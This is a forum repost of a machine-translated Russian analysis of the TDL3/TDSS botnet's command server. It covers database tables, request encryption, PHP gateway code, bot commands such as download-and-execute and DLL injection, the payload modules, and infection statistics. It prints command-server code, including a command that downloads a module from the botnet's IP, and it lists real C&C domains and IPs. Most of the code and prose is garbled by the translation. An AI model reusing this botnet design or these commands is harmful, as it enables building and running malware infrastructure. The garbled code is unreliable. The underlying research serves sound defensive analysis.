кБ Партнеры счета и его статистика affiliatesaccounts 607 64,0 кБ affiliatesregistrations 507 64,0 кБ affiliatesstatistics ≈ 62 136 8,5 МБ affiliatesstatisticsbrowser ≈ 53 072 7,1 МБ affiliatesstatisticsbuild ≈ 5 979 072 655,8 МБ affiliatesstatisticscountry ≈ 245 253 26,1 МБ affiliatesstatisticssts 63 3,3 кБ affiliatesstatisticssystem ≈ 56 982 7,1 мБ bots ≈ 5 247 199 1,4 ГБ Основная таблица с информацией о ботов browsers 3 690 240,0 кБ Дополнительная информация о ботов (версии браузера, руткит версии, TDLCMD.DLLверсии модуля, страны, версия ОС) builds 172 16,0 кБ countries 253 16,0 кБ systems 101 16,0 кБ commands 55 16,0 кБ Команды для ботов, его статистику, историю команд, дополнительные параметры commandsexecuted ≈ 4 546 977 337,5 МБ commandshistory 1 590 224,0 кБ) commandsinfo 55 64,0 кБ commandsproperties 909 64,0 кБ modules 13 400,0 кБ Исполняемые модули для ботов redirects 0 - URL-перенаправлений redirectsexecuted 0 - remover_bho 6 050 1,5 МБ Статистика removerмодуля remover_bho_stat 20 1,9 кБ remover_dda 642 144,0 кБ remover_dda_stat 21 1,9 кБ remover_dir ≈ 37 991 7,5 МБ remover_dir_stat 20 1,9 кБ remover_errors 18 914 2,5 МБ remover_extra ≈ 289 449 54,6 МБ remover_extra_stat 18 1,9 кБ remover_guid ≈ 21 220 4,5 МБ remover_guid_stat 20 1,9 кБ rules 0 - неизвестный ruleshistory 0 - statuses 1 982 72,3 кБ неизвестный statuses_limits 1 138 919 115,0 МБ statuses_statistics 3 956 102,8 кБ users 10 16,0 кБ Учетные записи пользователей панели администрирования Давайте посмотрим через структуру наиболее интересных таблиц. Запросы от ботов к серверу Сразу после установки, бот начинает опроса сервера для команд в цикле. Как уже было сказано выше, запрашивает бота сначала кодируются в RC4, а затем в base64, и, наконец, отправляется ботнет шлюз через HTTPS. Формат запроса команд может меняться от версии к версии руткита. В большинстве verstions, запрос выглядит следующим образом перед шифрованием: bot_ID | aff_ID | aff_SID | rootkit_ver | tdlcmd_ver | os_ver | языки | браузер | build_date | install_date Описание полей: поле Цель bot_ID Уникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d aff_ID владелец Bot ID aff_SID Суб идентификатор учетной записи rootkit_ver Rootkit версия tdlcmd_ver Версия TDLCMD.DLLмодуля (базовый модуль полезной нагрузки бота) os_ver версия ОС lang язык операционной системы browser Браузер зараженного компьютера. Значение этого поля является путь к исполняемому файлу браузера, найденного в разделе реестраHKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command build_date дата компиляции исполняемых файлов бота (необязательно) install_date Дата инфекции (по желанию) Помимо запросов для команд, команда сервера сценариев может обрабатывать некоторые специальные запросы, подобные следующему: MODULE_ID | значение_1 | значение_2 | ... | value_N поле Цель module_ID Идентификатор типа запроса (что эквивалентно модулю имя которого указан в запросе) value_1-value_N Случайное количество строки и / или целочисленных данных, в зависимости от типа запроса Нет функции не для выполнения специальных запросов жестко прописаны в руткита двоичном, но это может произойти в результате выполнения другой команды, такие как команда, чтобы загрузить дополнительный модуль полезной нагрузки. Давайте посмотрим , как сервер обрабатывает запросы от ботов. В первых строках/var/www/engine/index.phpсценария, после включения необходимых заголовочных файлов, запрашивает декодирование происходит: <? PHP пытаться { // Объявление констант - путей к различным справочникам DEFINE ( 'DS', DIRECTORY_SEPARATOR); DEFINE ( '' DIR_ROOT, Realpath ( '../')); DEFINE ( 'DIR_LIBRARY', DIR_ROOT.DS.'library '); DEFINE ( 'DIR_LIBRARY_CLASSES', DIR_LIBRARY.DS.'classes '); DEFINE ( 'DIR_LIBRARY_MODELS', DIR_LIBRARY.DS.'models '); DEFINE ( 'DIR_LIBRARY_FUNCTIONS', DIR_LIBRARY.DS.'functions '); DEFINE ( 'DIR_DATA', DIR_ROOT.DS.'data '); // Активация внешних модулей require_once (DIR_ROOT DS 'configuration.php' ..); require_once (DIR_LIBRARY_CLASSES DS 'DBase.php' ..); require_once (DIR_LIBRARY_FUNCTIONS DS 'rc4Encrypt.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mBots.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mAffiliate.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mAffiliates.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mBrowsers.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mBuilds.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mSystems.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mCountries.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mCommands.php' ..); require_once (DIR_LIBRARY_MODELS DS 'mCommandsMemcache.php' ..); // Расшифровка RC4-запроса (используя имя сервера в качестве ключа) $ = Rc4Decrypt Запрос ($ _SERVER [ "HTTP_HOST"], base64_decode (зиЬзЬг ($ _SERVER [ "REQUEST_URI"], 1))); $ RequestCount = 0; $ RequestHost = $ _SERVER [ "HTTP_HOST"]; если ($ запроса) { // Раскол строка запроса на элементы массива $ Запрос = взорваться ( '|', $ запрос); $ RequestCount = SizeOf ($ запроса); } Еще { заголовок ( "HTTP / 1.0 404 Not Found"); Выход(); } ... Как вы можете видеть из этого кода, полей запроса сохраняются в $requestмассиве. Затем модуль активации , который соответствует первому элементу массива (т.е. специальный идентификатор запроса). Специальный запрос ID имя скрипта Цель remover remover.php Получение статистики из removerмодуля (подробнее ниже) services services.php Партнер Управление учетными записями (создание, удаление, запрос информации) rules rules.php Сбор выполненных команд вывода. redirect redirect.php Перенаправление на URL с указанным идентификатором, хранится в базе данных сервера installation installation.php Отображение содержимого файла/var/www/engine/data/affId_affSid.dat, где affIdиaffSid- идентификаторы счета и субсчета партнера, указанного в запросе. Цель этого файла неизвестен, потому что мы не нашли каких - либо соответствующих файлов на целевом сервере. modules modules.php Обработка дополнительных запросов модуля от ботов. Если значение первого поля запроса не соответствует ни одному запроса специального идентификатора, перечисленных в предыдущей таблице, то запрос обрабатывается как запрос регулярной команды: } ElseIf ($ requestCount == 8 || $ requestCount == 10) { // Подключиться к базе данных DBase :: подключить (DBASE_HOST, DBASE_USER, DBASE_PWD, DBASE_BASE); // Подключиться к Memcached демон $ ObjMemcache = новый Memcache; $ ObjMemcache-> Connect (MCACHE_HOST, MCACHE_PORT); // Получить информацию о боте из полей запроса $ RequestName = $ запрос [0]; $ RequestAffAid = $ запрос [1]; $ RequestAffSid = $ запрос [2]; $ RequestRk = $ запрос [3]; $ RequestCmd = $ запрос [4]; $ RequestSystem = $ запрос [5]; $ RequestLang = $ запрос [6]; $ RequestBrowser = $ запрос [7]; если ($ requestCount == 8) { // Нет никакой информации о компиляции и инфекции даты в запросе $ RequestBuildDate = 0; $ RequestInstallDate = 0; } Еще { $ RequestBuildDate = StrToTime ($ запрос [8]); $ RequestInstallDate = StrToTime ($ запрос [9]); } $ RequestBuild = "{$ requestRk} _ {$ requestCmd}"; $ RequestIp = ip2long ($ _SERVER [ 'REMOTE_ADDR']); $ RequestAffId = NULL; $ RequestSystemId = NULL; $ RequestBrowserId = NULL; $ RequestBuildId = NULL; // Активировать модуль engine.php // Он добавляет информацию о боте в базу данных и обрабатывает запрос команды включают в себя ( 'engine.php'); $ ObjMemcache-> близко (); DBase :: разъединение (); ... При получении регулярного запроса команд, сервер отправляет список команд обратно в бот.Команды зашифрованы в RC4, бот ID служащий в качестве ключа шифрования. Партнеры счета The affiliatesтаблица содержит информацию о партнерах счетов. Такие счета могут быть изменены оператором панели администрирования. CREATE TABLE IF NOT EXISTS `affiliates` ( `AffId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица `AffAid` символ (20) NOT NULL, - идентификатор учетной записи партнера `AffGroup` INT (11) NOT NULL без знака, - группа учетной записи партнера `AffLogin` символ (32) по умолчанию NULL, - имя (Логин) партнера счета PRIMARY KEY (` affId`) ); Партнер по учетным записям Редактирование в ботнет панели администратора Каждый партнер может владеть любое количество бот-исполняемых файлов. Идентификатор партнера жестко закодировано в файле бота исполняемый во время компиляции. После установки руткита идентификатор хранится в файле config.ini в собственной файловой системе руткита. Субаккаунты могут быть использованы для группы бот исполняемые файлы партнера. Идентификаторы счета и субсчета партнера хранятся в config.iniфайле. Партнерские счета могут управляться напрямую отправив запрос на ботнет шлюз: услуги | operation_code | ARGUMENT_1 | ARGUMENT_2 | ... | argument_N поле Цель operation_code Код операции, которая будет выполнена argument_1-argument_N Необязательный аргумент - его формат определяется конкретной операции Операция коды определены в следующей таблице: код операции аргументы Цель 100 affAid,affLogin,affGroup Создание новой учетной записи партнера. 110 affId Удаление существующей учетной записи. 120 affAid Показаны все субсчета для данной учетной записи. 150 engineType Добавление новой учетной записи с автоматической генерации affAid. Значение affGroupвыбирается взависимости от величиныengineType 200 affAid, affSid,statDateFrom,statDateTo Запрашивающий номер бот установок для данной учетной записи и за определенный период времени. 201 affAid, affSid,statDateFrom,statDateTo Запрашивающая бота по статистике стран для данной учетной записи и за определенный период времени. 301 - Перечень существующих учетных записей партнеров. Запрос параметров детали: параметр Цель affId Параметры соответствуют одноименных полей в affiliatesтаблице affAid affSid affLogin statDateFrom Даты в Y-m-dформате statDateTo affGroup Идентификатор группы партнеров Список существующих групп партнеров находится в /var/www/engine/data/groups.txt: Филиалы Группы 1 - Тест Установлено 10 - Наши Установлено 20 - InstallConverter 30 - ProfitCash 40 - ReliefPPC 50 - ConvertPPC Пример: запрос для количества ботов установок между 01.08.2009 и 01.07.2010 на субсчете 0 партнера с affAid10000 выглядит следующим образом : услуги | 200 | 10000 | 0 | 2009-08-01 | 2010-07-01 Основная таблица ботнет После того, как бот отправляет запрос на команды в первый раз, он добавляется к таблице '' ботами базы данных сервера. Значения affId, affSidи botNameполя извлекаются из соответствующих полей запроса от бота. Класс mBots, который позволяет работать с botsтаблицей, находится в/var/www/engine/library/models/mBots.phpфайле. Функции добавления и редактирования информации бот реализуются в /var/www/engine/public/engine.php. Структура botsтаблицы: CREATE TABLE IF NOT EXISTS `bots` ( `AffId` INT (11) NOT NULL без знака, - идентификатор учетной записи партнера `AffIdx` INT (11) NOT NULL без знака, - как правило, равна affId `AffSid` SmallInt (6) без знака NOT NULL по умолчанию '1', - идентификатор дополнительной учетной записи `BotId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица `BotName` символ (60) NOT NULL, - уникальное имя бота (параметр botid в config.ini) `BotIp` BIGINT (20) NOT NULL, - IP бот `BotAdded` INT (11) NOT NULL без знака, - дата первого запроса бота к серверу `BotAccess` INT (11) NOT NULL без знака, - дата последнего запроса бота к серверу `BotCountry` TINYINT (4) без знака NOT NULL, - идентификатор бота страны `BotSystem` SMALLINT (6) без знака NOT NULL, - идентификатор версии Windows, зараженного компьютера `BotBrowser` SMALLINT (6) без знака NOT NULL, - идентификатор версии браузера зараженного компьютера `BotBuild` SMALLINT (6) без знака NOT NULL, - идентификатор версии руткита и модуля tdlcmd.dll PRIMARY KEY ( `botId`) KEY `botName` (` botName`), KEY `affid_index` (` affId`), KEY `botAdded_index` (` botAdded`) ); команды Bot В конце engine.phpсценария /var/www/enginedata/commands.phpфайла активируется. Его цель состоит в том, чтобы отобразить команды , которые должны выполняться с помощью бота.commands.phpскрипт генерируется динамически , используя данные из commandsinfoтаблицы. CREATE TABLE IF NOT EXISTS `commandsinfo` ( `CommOwner` INT (11) NOT NULL по умолчанию '1', - идентификатор учетной записи пользователя, который добавил команду `CommId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица `CommName` VARCHAR (255) NOT NULL, - имя команды `CommDesc` текст NOT NULL, - описание команды `CommExe` VARCHAR (255) NOT NULL, - URL исполняемого файла (для команд, связанных с загрузки и исполнения исполняемых файлов) `CommStatus` перечислимого типа (" отключить "," включить ", 'Удален', 'Темп') NOT NULL по умолчанию 'Enable', - состояние команды (активная, неактивная, временная, удалена) `CommAdded` DateTime NOT NULL, - время создания команды `CommCode` текст NOT NULL, - код команды PHP для включения в commands.php `CommCodeCond` текст NOT NULL, - дополнительные параметры команды `CommCodeComm` NOT NULL текст, `CommOrder` INT (11) NOT NULL, - команда номер заказа PRIMARY KEY ( `commId`) ); Класс mCommands, который позволяет работать с командами, находится в/var/www/engine/library/models/mCommands.php. Процедура для динамического созданияcommands.phpфайла реализуется в возрожденном методе - это вызывается командой из панели управления: Функция регенерировать () { $ Код = ''; // Получить информацию обо всех доступных команд из базы данных $ Команды = $ this-> getSummaryFull (); для ($ I = 0; $ г <SizeOf ($ команд); $ я ++) { если (команды $ [$ я] [ 'commStatus'] == 'включить') { // Получить PHP код для каждой команды $ Код. = $ This-> Получить код ($ команд [$ я] [ 'commId']). "\ Г \ п \ г \ п \ г \ п"; } } // Прочитать файл шаблона // Он содержит статический код, который должен быть включен в commands.php . $ TemplateFile = имя_директории (__ FILE __) DS.'commands.template '; $ Fp = FOPEN ($ TemplateFile, 'г'); $ Шаблон = Fread ($ ∥f∥p, размер файла ($ TemplateFile)); fclose ($ Ф.П.); $ Шаблон = str_replace ( '% COMMS%', $ код, $ шаблон); // Запись commands.php на диск $ Файла = '/var/www/enginedata/commands.php'; $ Fp = FOPEN ($ файла, 'W'); FWRITE ($ ∥f∥p, $ шаблон); fclose ($ Ф.П.); } Добавление новой команды в панели администрирования Можно указать следующие параметры для каждой команды: Целевые идентификаторы стран Идентификаторы партнер Target версии браузера Target Версии руткита и модуля tdlcmd.dll. Время жизни команды Максимальное количество раз, команда может быть выполнена. Оператор панели администрирования также может редактировать часть PHP кода , который будет включен в commands.php. Код команды редактирования в панели администрирования Любой бот может обрабатывать следующие команды: команда Описание botnetcmd.SetCmdDelay(Seconds) Задает интервал между запросами сервера botnetcmd.ModuleDownloadUnxor(URL, LocalPath) Загрузки кодируются исполняемый модуль botnetcmd.FileDownloadRandom(URL, LocalPath) Загрузки случайный файл botnetcmd.LoadExe(FileURL) Загрузка и выполняет исполняемый файл botnetcmd.LoadExeKnock(FileURL, KnockURL) Загрузка и выполняет произвольный файл и отправляет HTTP-запрос на случайный URL на успех botnetcmd.InjectorAdd(ProcessName, DLLName) Инъекция DLL в указанном процессе ( *- во все процессы) tdlcmd.ConfigWrite(Section, Parameter, Value) Пишет случайные данные в config.ini tdlcmd.Download(URL, LocalPath) Загрузки случайный файл. Деструктивная модули Основные функции (полезная нагрузка) от TDL3 руткита обеспечиваются дополнительными модулями. Эти модули являются нормальными динамические библиотеки, которые загружаются с сервера и впрыскивают в случайном или текущий процесс пользовательского режима. Информация о доступных модулей полезной нагрузки хранится в таблице модулей: CREATE TABLE IF NOT EXISTS `modules` ( `ModId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица `ModName` символ (255) NOT NULL, - имя модуля `ModData` LONGBLOB, - данные исполняемого образа модуля `ModLoads` INT (11) NOT NULL без знака, - количество загрузок модуля PRIMARY KEY ( `modId`) ); Файл модуля можно загрузить на зараженный компьютер с помощьюModuleDownloadUnxorкоманды. Она имеет следующие параметры: модуль |! ModuleId ключ! поле Цель ModuleId Идентификатор модуля (значение modIdполя в modulesтаблице) Key Любая строка (по желанию). Это значение используется в качестве ключа кодирования RC4 для запрашиваемого модуля. Запрос на модуль загрузки обрабатывается в /var/www/engine/public/modules.phpфайле: <? PHP require_once (DIR_LIBRARY_MODELS DS 'mModules.php' ..); // Проверить, кодирующий ключ наличие в запросе для модуля загрузки если (preg_match ( "% (\ d *)! (. *)!% Uis", $ запрос [1], $ соответствует)) { $ ModId = $ соответствует [1]; $ ModCrypt = $ соответствует [2]; } Еще { $ ModId = $ запрос [1]; $ ModCrypt = FALSE; } // Получить информацию о модуле $ ModDetails = mModules :: подробности ($ modId); если ($ modCrypt) { // Возвращает зашифрованные данные модуля к клиенту печать rc4Encrypt ($ modCrypt, $ modDetails [ 'modData']); } Еще { // Возвращает расшифрованные данные модуля к клиенту печать $ modDetails [ 'modData']; } // Увеличиваем счетчик загрузок для данного модуля mModules :: приращение ($ modId); Выполнение команды для конкретного модуля осуществляется путем отправки следующую строку бота: ModuleName.Function ([Params]) поле Цель ModuleName Имя модуля DLL на зараженном компьютере Function Название случайной функции экспортируются модулем DLL Params Параметры Случайная строка или целое число пересылается на вызываемой функции в качестве аргументов Пример: фрагмент сценария, который отвечает за загрузку и исполнение removerмодуля (фрагмент файла commands.php): // --- Command # 273 Пуск --- $ CommId = 273; // Получить информацию о команде своим идентификатором $ CommDetails = $ objCommands-> getCommand ($ commId); $ CommDetailsCreate = FALSE; если ($ commDetails == FALSE) { $ CommDetails [ 'commid'] = $ commid; $ CommDetails [ 'commRefences'] = 0; $ CommDetails [ 'commSuccesed'] = 0; $ CommDetailsCreate = TRUE; } // Состояние 1 если ($ botBuild> = 26) { $ CommDetailsBot = mCommands :: getCommandExecuted ($ COMMidt, $ длина места жительства); $ CommDetailsBotCreate = FALSE; если ($ commDetailsBot == FALSE) { $ CommDetailsBot [ 'период проживания'] = $ длина места жительства; $ CommDetailsBot [ 'commid'] = $ commid; $ CommDetailsBot [ 'commDate'] = 0; $ CommDetailsBot [ 'commSuccesed'] = 0; $ CommDetailsBotCreate = TRUE; } // Состояние 2 если (($ commDetailsBot [ 'commSuccesed'] <1)) { $ CommSucces = TRUE; // Команда для модуля загрузки и его сохранение под tdlrm.dll $ CommOutput = "tdlcmd.Download ( 'https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll') \ п."; // Команда для выполнения функции Start () из tdlrm.dll $ CommOutput = "tdlrm.Start () \ п."; } Еще { $ CommSucces = FALSE; } ... // --- Command # 273 Конец --- Добавление и редактирование модулей выполняется в соответствующем разделе панели управления: Редактирование модуля в панели администрирования В момент доступа к веб-серверу следующие модули были представлены в базе данных: модуль Цель DDoS Выполнение DDoS-атаки Remover Малый антивирус для работы с Anti-Malware Malwarebytes ' сигнатурных баз для поиска «чужих» вредоносных программ на зараженном компьютере. TDLCMD Первичный модуль полезной нагрузки руткита. Она включает в себя функции отправки сообщений на сервер, выполнение команды и т.д. WSP/WSP Popup Модуль перехвата запросов к поисковым системам (Google, Yahoo, Bing, Ask, AOL) для того, чтобы заменить результаты поиска, которые отображаются в браузере. Она включает в себя функции объявления всплывающего окна. Модули защищены неизвестной программой шифрования, поэтому их анализ может быть сложнее. На сегодняшний день анализа, объем Removerзагрузки модулей составил 19 000 - что несравнимо мало по сравнению с общим количеством ботов. Можно предположить , что в момент анализаRemoverмодуль был опробован и в будущем его разработчики собираются использовать собственные "антивирус" широко , чтобы бороться с конкурентом вредоносных программ статистика В конце статьи мы хотели бы представить некоторые объективные статистические данные о ботнета. Данные были извлечены непосредственно из сервера Databse на d45648675.cnсервере по состоянию на 7 февраля 2010. Общие данные: Общее количество ботов 5 247 115 Количество счетов партнеров 512 Дата первой установки бота 12.08.2009 Дата последней установки бота 07.02.2010 Подробные статистические графики и диаграммы ниже. Количество новых установок по неделям (одна точка на графике соответствует одной недели) Заметный пик на графике является "запись" 443 364 уникальных установок 19 января 2010 г. Все установки были равномерно распределены между несколькими счетами партнеров. Возможная причина такого быстрого роста установок может быть эксплуатация неизвестного 0-день уязвимости. Количество уникальных ботов, доступ к серверу в течение недели Распределение ботов по странам Распределение ботов партнеров Как вы можете видеть из этой диаграммы, крупнейшим партнером при условии, 22,3% всех инсталляций руткита, будучи в два раза эффективнее, чем второй наиболее эффективного партнера. Распределение новых установок партнеров Как вы можете видеть из диаграммы, 90% партнеров обеспечивают 1000-50000 загрузки, 50% которого идет на малых партнеров (1000-5000 загрузки). Есть только 17 партнеров с количеством загрузок более чем 5000, и только один имеет более чем 1 000 000 загрузок. версии для Windows Как вы можете видеть из этой диаграммы, Windows XP, которая не поддерживает современные механизмы безопасности (контроль учетных записей, DEP и ASLR), является наиболее уязвимым для вредоносного программного обеспечения. Относительно небольшое количество инфекций для Windows 7 не подключен к его доле среди других операционных систем, что является довольно высоким. Вполне возможно, что заражение компьютера Windows 7 была реализована в основном с помощью методов социальной инженерии. версии Rootkit Версии TDLCMD.DLLмодуля Поскольку d45648675.cnсервер все еще работал на дату выпуска этой статьи (14 июля 2010), мы решили собрать больше фактических статистических данных. Мы также проанализировали десятки TDL3 руткит капельницы , чтобы найти IP - адреса всех активных серверов команд. Второй сервер a57990057.cnиспользуется сейчас , кроме d45648675.cn(и некоторые другие).Каждый из этих двух серверов имеет несколько IP - адресов, и каждый IP - это соответствует нескольким доменам. Список IP - адресов и соответствующих им доменных имен приведен в таблице ниже IP имя домена Общее количество ботов Количество счетов партнеров Дата первой установки бота 91.212.226.60 d45648675.cn 8547241 +857 12.08.2009 91.212.226.59 zz87jhfda88.com 91.212.226.59 lj1i16b0.com 61.61.20.132 a57990057.cn 7 860 677 2 547 31.12.2009 61.61.20.132 68b6b6b6.com 91.212.226.7 0o0o0o0o0.com 61.61.20.135 jro1ni1l1.com 61.61.20.135 34jh7alm94.asia Как вы можете видеть из этой таблицы, количество ботов, подключенных к первому серверу увеличилась примерно на 40% между датами 07.02.2010 и 14.07.2010. Общее количество компьютеров, заражены TDL3 руткита между 12.08.2009 и 14.07.2010, составляет более 16 000 000. До сих пор Mariposa ботнет считался самым крупным в мире бот-сети. На данный момент его прекращения его объем был оценен экспертами как 12 000 000 ботов. http://www.nobunkum.ru/analytics/en-tdss-botnet
бля что ты творишь, остановись, хватит тонны гуглтранслита спойлеры хотя бы, оформить, граматика и вся фигня, ну это же треш